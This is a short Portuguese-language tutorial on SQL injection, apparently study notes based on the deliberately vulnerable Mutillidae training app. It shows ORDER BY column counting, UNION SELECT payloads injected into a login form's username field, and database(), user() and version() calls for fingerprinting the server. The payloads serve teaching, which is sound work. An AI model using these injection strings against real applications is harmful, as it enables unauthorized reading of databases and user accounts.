SQL Injection

Ler Informação do Banco de Dados

Descobrir número de colunas da tabela

Uma das formas de descobrir quantas colunas tem uma tabela do banco de dados através de SQL Injection é a utilização da cláusula **order by**. Esta clausula permite obter o resultado de uma query SQL ordenado por uma determinada coluna.
Nota: Por defeito, a clausula order by ordena os resultados por ordem crescente (do menor para o maio).

Tabela: Conta_Usuario

nome	cidade	idade
Barbara	Rússia	25
Joana	Argentina	30
Wendell	Portugal	10

Query: SELECT nome FROM Conta_Usuario ORDER BY 1;
Resultado: Barbara, Joana, Wendell

Query: SELECT nome FROM Conta_Usuario ORDER BY 2;
Resultado: Joana, Wendell, Barbara

Query: SELECT nome FROM Conta_Usuario ORDER BY 3;
Resultado: Wendell, Barbara, Joana

Query: SELECT nome FROM Conta_Usuario ORDER BY 4; —> ERRO SQL

Descobrir número de colunas da tabela

Query: SELECT * FROM accounts WHERE username='$name' AND password='$password';

Injeções SQL

Input: nome= teste' ORDER BY 1# password=
Resultado: SELECT * FROM accounts WHERE username='teste' ORDER BY 1#' AND password='';

Input: nome= teste' ORDER BY 2# password=
Resultado: SELECT * FROM accounts WHERE username='teste' ORDER BY 2#' AND password='';

Identificar Tabelas do Banco de Dados

Agora que sabemos que a tabela “accounts” tem 7 colunas, vamos usar o operador UNION para descobrir que colunas estão a ser mostradas pela aplicação Para tal, vamos fazer a seguinte injeção:

Input: nome= ’ UNION SELECT 1,2,3,4,5,6,7 FROM information_schema.tables # password=
Query: SELECT * FROM accounts WHERE username=” UNION SELECT 1,2,3,4,5,6,7 FROM information_schema.tables #’ AND password=”;

Neste caso, verificamos que a aplicação está a mostrar apenas os valores das colunas 2, 3 e 4.

’UNION SELECT 1,2,3,4,5,6,7#

Descobrir mais informação da BD

database() —> Devolve o nome do banco de dados na qual estamos a operar;
user() —> Devolve o nome do usuário com que estamos a operar no banco de dados;
version() —> Devolve a versão do banco de dados;

Tabela: Conta_Usuario

nome	cidade	idade
Barbara	Rússia	25
Joana	Argentina	30
Wendell	Portugal	10

Query: SELECT database() FROM Conta_Usuario;
Resultado: mutillidae

Query: SELECT user() FROM Conta_Usuario;
Resultado: root@localhost

Query: SELECT version() FROM Conta_Usuario;
Resultado: 8.0.23-0Ubuntu0.20.04.1